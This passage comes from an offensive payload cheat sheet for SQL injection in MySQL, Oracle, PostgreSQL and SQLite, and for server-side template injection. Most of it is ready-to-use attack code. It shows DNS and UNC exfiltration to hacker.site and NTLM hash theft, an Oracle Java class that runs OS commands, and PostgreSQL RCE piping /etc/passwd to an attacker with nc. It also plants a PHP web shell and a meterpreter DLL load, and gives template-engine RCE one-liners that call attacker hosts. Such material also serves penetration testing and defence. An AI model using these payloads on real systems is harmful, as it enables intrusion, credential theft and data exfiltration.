mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+
```

## MYSQL Out of band

```powershell
select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt
```

### DNS exfiltration

```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))
```

### UNC Path - NTLM hash stealing

```sql
select load_file('\\\\error\\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;
```

## References

* [MySQL Out of Band Hacking - @OsandaMalith](https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf)
* [\[Sqli\] Extracting data without knowing columns names - Ahmed Sultan @0x4148](https://blog.redforce.io/sqli-extracting-data-without-knowing-columns-names/)
* [Help по MySql инъекциям - rdot.org](https://rdot.org/forum/showpost.php?p=114\&postcount=1)
* [SQL Truncation Attack - Warlock](https://resources.infosecinstitute.com/sql-truncation-attack/)
* [HackerOne @ajxchapman 50m-ctf writeup - Alex Chapman @ajxchapman](https://hackerone.com/reports/508123)
* [SQL Wiki - netspi](https://sqlwiki.netspi.com/injectionTypes/errorBased)
* [ekoparty web\_100 - 2016/10/26 - p4-team](https://github.com/p4-team/ctf/tree/master/2016-10-26-ekoparty/web_100)
* [Websec - MySQL - Roberto Salgado - May 29, 2013.](https://websec.ca/kb/sql_injection#MySQL_Default_Databases)


# Oracle SQL Injection

## Summary

* [Oracle SQL version](broken://pages/1iB0FnyHkiBtyehleehZ)
* [Oracle SQL database name](broken://pages/1iB0FnyHkiBtyehleehZ)
* [Oracle SQL List databases](broken://pages/1iB0FnyHkiBtyehleehZ)
* [Oracle SQL List columns](broken://pages/1iB0FnyHkiBtyehleehZ)
* [Oracle SQL List tables](broken://pages/1iB0FnyHkiBtyehleehZ)
* [Oracle SQL Error Based](broken://pages/1iB0FnyHkiBtyehleehZ)
* [Oracle SQL Blind](broken://pages/1iB0FnyHkiBtyehleehZ)
* [Oracle SQL Time Based](broken://pages/1iB0FnyHkiBtyehleehZ)
* [Oracle SQL Command execution](broken://pages/1iB0FnyHkiBtyehleehZ)
* [References](broken://pages/1iB0FnyHkiBtyehleehZ)

## Oracle SQL version

```sql
SELECT user FROM dual UNION SELECT * FROM v$version
```

## Oracle SQL database name

```sql
SELECT global_name FROM global_name;
SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;
```

## Oracle SQL List Databases

```sql
SELECT DISTINCT owner FROM all_tables;
```

## Oracle SQL List Columns

```sql
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
```

## Oracle SQL List Tables

```sql
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
```

## Oracle SQL Error based

| Description          | Query                                                                                                                                  |
| -------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| Invalid HTTP Request | SELECT utl\_inaddr.get\_host\_name((select banner from v$version where rownum=1)) FROM dual                                            |
| CTXSYS.DRITHSX.SN    | SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual                                                 |
| Invalid XPath        | SELECT ordsys.ord\_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual                            |
| Invalid XML          | SELECT to\_char(dbms\_xmlgen.getxml('select "'\|\|(select user from sys.dual)\|\|'" FROM sys.dual')) FROM dual                         |
| Invalid XML          | SELECT rtrim(extract(xmlagg(xmlelement("s", username \|\| ',')),'/s').getstringval(),',') FROM all\_users                              |
| SQL Error            | SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL\_USERS) WHERE LIMIT=1)) |

## Oracle SQL Blind

| Description                               | Query                                                                                               |
| ----------------------------------------- | --------------------------------------------------------------------------------------------------- |
| Version is 12.2                           | SELECT COUNT(\*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';                                   |
| Subselect is enabled                      | SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)                                                     |
| Table log\_table exists                   | SELECT 1 FROM dual WHERE 1=(SELECT 1 from log\_table);                                              |
| Column message exists in table log\_table | SELEC COUNT(\*) FROM user\_tab\_cols WHERE column\_name = 'MESSAGE' AND table\_name = 'LOG\_TABLE'; |
| First letter of first message is t        | SELEC message FROM log\_table WHERE rownum=1 AND message LIKE 't%';                                 |

## Oracle SQL Time based

```sql
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])                 comment:   -- /**/
```

## Oracle SQL Command execution

* [ODAT (Oracle Database Attacking Tool)](https://github.com/quentinhardy/odat)

```sql
/* create Java class */
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
/

BEGIN
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
END;
/

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```

or (hex encoded)

```sql
/* create Java class */
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual

/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```

## References

* [NetSpi - SQL Wiki](https://sqlwiki.netspi.com/injectionTypes/errorBased/#oracle)
* [ASDC12 - New and Improved Hacking Oracle From Web](https://owasp.org/www-pdf-archive/ASDC12-New_and_Improved_Hacking_Oracle_From_Web.pdf)


# PostgreSQL injection

## Summary

* [PostgreSQL Comments](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL version](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL Current User](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL List Users](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL List Password Hashes](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL List Database Administrator Accounts](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL List Privileges](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL Check if Current User is Superuser](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL database name](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL List databases](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL List tables](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL List columns](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL Error Based](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL XML Helpers](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL Blind](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL Time Based](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL Stacked query](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL File Read](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL File Write](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [PostgreSQL Command execution](broken://pages/h2Chs6uDkcL6WHfGco3S)
  * [CVE-2019–9193](broken://pages/h2Chs6uDkcL6WHfGco3S)
  * [Using libc.so.6](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [Bypass Filter](broken://pages/h2Chs6uDkcL6WHfGco3S)
* [References](broken://pages/h2Chs6uDkcL6WHfGco3S)

## PostgreSQL Comments

```sql
--
/**/  
```

## PostgreSQL Version

```sql
SELECT version()
```

## PostgreSQL Current User

```sql
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
```

## PostgreSQL List Users

```sql
SELECT usename FROM pg_user
```

## PostgreSQL List Password Hashes

```sql
SELECT usename, passwd FROM pg_shadow 
```

## PostgreSQL List Database Administrator Accounts

```sql
SELECT usename FROM pg_user WHERE usesuper IS TRUE
```

## PostgreSQL List Privileges

```sql
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
```

## PostgreSQL Check if Current User is Superuser

```sql
SHOW is_superuser; 
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
```

## PostgreSQL Database Name

```sql
SELECT current_database()
```

## PostgreSQL List Database

```sql
SELECT datname FROM pg_database
```

## PostgreSQL List Tables

```sql
SELECT table_name FROM information_schema.tables
```

## PostgreSQL List Columns

```sql
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
```

## PostgreSQL Error Based

```sql
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)

' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
```

## PostgreSQL XML helpers

```sql
select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row
```

The `query_to_xml` above returns all the results of the specified query as a single result. Chain this with the [PostgreSQL Error Based](broken://pages/h2Chs6uDkcL6WHfGco3S) technique to exfiltrate data without having to worry about `LIMIT`ing your query to one result.

```sql
select database_to_xml(true,true,''); -- dump the current database to XML
select database_to_xmlschema(true,true,''); -- dump the current db to an XML schema
```

Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.

## PostgreSQL Blind

```sql
' and substr(version(),1,10) = 'PostgreSQL' and '1  -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1  -> KO
```

## PostgreSQL Time Based

```sql
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
```

## PostgreSQL Stacked Query

Use a semi-colon ";" to add another query

```sql
http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--
```

## PostgreSQL File Read

```sql
select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);
```

NOTE: Earlier versions of Postgres did not accept absolute paths in `pg_read_file` or `pg_ls_dir`. Newer versions (as of [this](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) commit) will allow reading any file/filepath for super users or users in the `default_role_read_server_files` group.

```sql
CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;
```

```sql
SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data
```

## PostgreSQL File Write

```sql
CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
```

Or as one line:

```sql
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
```

```sql
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
```

## PostgreSQL Command execution

### CVE-2019–9193

Can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.

```
DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id';        -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec;                 -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Remove the table
```

![https://cdn-images-1.medium.com/max/1000/1\*xy5graLstJ0KysUCmPMLrw.png](https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png)

### Using libc.so.6

```sql
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
```

### Bypass Filter

#### Quotes

Using CHR

```sql
SELECT CHR(65)||CHR(66)||CHR(67);
```

Using Dollar-signs ( >= version 8 PostgreSQL)

```sql
SELECT $$This is a string$$
SELECT $TAG$This is another string$TAG$
```

## References

* [A Penetration Tester’s Guide to PostgreSQL - David Hayter](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
* [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
* [SQL Injection /webApp/oma\_conf ctx parameter (viestinta.lahitapiola.fi) - December 8, 2016 - Sergey Bobrov (bobrov)](https://hackerone.com/reports/181803)
* [POSTGRESQL 9.X REMOTE COMMAND EXECUTION - 26 Oct 17 - Daniel](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
* [SQL Injection and Postgres - An Adventure to Eventual RCE - May 05, 2020 - Denis Andzakovic](https://pulsesecurity.co.nz/articles/postgres-sqli)
* [Advanced PostgreSQL SQL Injection and Filter Bypass Techniques - 2009 - INFIGO](https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf)


# SQLite Injection

## Summary

* [SQLite comments](broken://pages/76VodaF53IEkIg4uaxfH)
* [SQLite version](broken://pages/76VodaF53IEkIg4uaxfH)
* [String based - Extract database structure](broken://pages/76VodaF53IEkIg4uaxfH)
* [Integer/String based - Extract table name](broken://pages/76VodaF53IEkIg4uaxfH)
* [Integer/String based - Extract column name](broken://pages/76VodaF53IEkIg4uaxfH)
* [Boolean - Count number of tables](broken://pages/76VodaF53IEkIg4uaxfH)
* [Boolean - Enumerating table name](broken://pages/76VodaF53IEkIg4uaxfH)
* [Boolean - Extract info](broken://pages/76VodaF53IEkIg4uaxfH)
* [Time based](broken://pages/76VodaF53IEkIg4uaxfH)
* [Remote Command Execution using SQLite command - Attach Database](broken://pages/76VodaF53IEkIg4uaxfH)
* [Remote Command Execution using SQLite command - Load\_extension](broken://pages/76VodaF53IEkIg4uaxfH)
* [References](broken://pages/76VodaF53IEkIg4uaxfH)

## SQLite comments

```sql
--
/**/
```

## SQLite version

```sql
select sqlite_version();
```

## String based - Extract database structure

```sql
SELECT sql FROM sqlite_schema
```

## Integer/String based - Extract table name

```sql
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
```

Use limit X+1 offset X, to extract all tables.

## Integer/String based - Extract column name

```sql
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
```

For a clean output

```sql
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
```

## Boolean - Count number of tables

```sql
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
```

## Boolean - Enumerating table name

```sql
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
```

## Boolean - Extract info

```sql
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
```

## Time based

```sql
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
```

## Remote Command Execution using SQLite command - Attach Database

```sql
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
```

## Remote Command Execution using SQLite command - Load\_extension

```sql
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
```

Note: By default this component is disabled

## References

[Injecting SQLite database based application - Manish Kishan Tanwar](https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf)


# Server Side Templates Injections

> Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages

## Summary

* [Tools](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Methodology](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [ASP.NET Razor](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Basic injection](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Command execution](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Expression Language EL](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Basic injection](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Code execution](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Freemarker](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Basic injection](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Code execution](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Groovy](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Basic injection](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Read/Create file](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [HTTP Request](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Command execution](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Sandbox bypass](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Handlebars](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Jade / Codepen](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Java](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Basic injection](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Retrieve the system’s environment variables](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Retrieve /etc/passwd](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Jinja2](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Basic injection](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Template format](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Debug Statement](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Dump all used classes](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Dump all config variables](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Read remote file](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Write into remote file](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Remote Code Execution](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Filter bypass](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Jinjava](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Basic injection](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Command execution](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Lessjs](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Mako](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Pebble](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Basic injection](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Code execution](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Ruby](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Basic injections](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Retrieve /etc/passwd](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [List files and directories](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Smarty](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Twig](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Basic injection](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Template format](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Arbitrary File Reading](broken://pages/p9ZOoIxcxzEuRhsjbupi)
  * [Code execution](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [Velocity](broken://pages/p9ZOoIxcxzEuRhsjbupi)
* [References](broken://pages/p9ZOoIxcxzEuRhsjbupi)

## Tools

Recommended tool: [Tplmap](https://github.com/epinna/tplmap) e.g:

```powershell
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
```

## Methodology

![SSTI cheatsheet workflow](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Images/serverside.png?raw=true)

***

## ASP.NET Razor

[Official website](https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c)

> Razor is a markup syntax that lets you embed server-based code (Visual Basic and C#) into web pages.

### ASP.NET Razor - Basic injection

```powershell
@(1+2)
```

### ASP.NET Razor - Command execution

```csharp
@{
  // C# code
}
```

***

## Expression Language EL

[Official website](https://docs.oracle.com/javaee/6/tutorial/doc/gjddd.html)

> Expression Language (EL) is mechanism that simplifies the accessibility of the data stored in Java bean component and other object like request, session and application, etc. There are many operators in JSP that are used in EL like arithmetic and logical operators to perform an expression. It was introduced in JSP 2.0

### Expression Language EL - Basic injection

```java
${1+1}
#{1+1}
```

### Expression Language EL - One-Liner injections not including code execution

```java
// DNS Lookup
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}

// JVM System Property Lookup (ex: java.class.path)
${"".getClass().forName("java.lang.System").getDeclaredMethod("getProperty","".getClass()).invoke("","java.class.path")}
```

### Expression Language EL - Code Execution

```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\"))}
```

***

## Freemarker

[Official website](https://freemarker.apache.org/)

> Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.

You can try your payloads at <https://try.freemarker.apache.org>

### Freemarker - Basic injection

The template can be `${3*3}` or the legacy `#{3*3}`.

### Freemarker - Read File

```js
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
Convert the returned bytes to ASCII
```

### Freemarker - Code execution

```js
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
```

### Freemarker - Sandbox bypass

:warning: only works on Freemarker versions below 2.3.30

```js
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
```

***

## Groovy

[Official website](https://groovy-lang.org/)

### Groovy - Basic injection

Refer to <https://groovy-lang.org/syntax.html> , but `${9*9}` is the basic injection.

### Groovy - Read and create File

```groovy
${String x = new File('c:/windows/notepad.exe').text}
${String x = new File('/path/to/file').getText('UTF-8')}
${new File("C:\Temp\FileName.txt").createNewFile();}
```

### Groovy - HTTP request:

```groovy
${"http://www.google.com".toURL().text}
${new URL("http://www.google.com").getText()}
```

### Groovy - Command Execution

```groovy
${"calc.exe".exec()}
${"calc.exe".execute()}
${this.evaluate("9*9") //(this is a Script class)}
${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}
```

### Groovy - Sandbox Bypass

```groovy
${ @ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
def x }
```

or

```groovy
${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }
```

***

## Handlebars

[Official website](https://handlebarsjs.com/)

> Handlebars compiles templates into JavaScript functions.

### Handlebars - Command Execution

```handlebars
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
```

***

## Jade / Codepen

[Official website](https://codepen.io/)

>

```python
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```

```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```

***

## Java

### Java - Basic injection

```java
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
```

### Java - Retrieve the system’s environment variables

```java
${T(java.lang.System).getenv()}
```

### Java - Retrieve /etc/passwd

```java
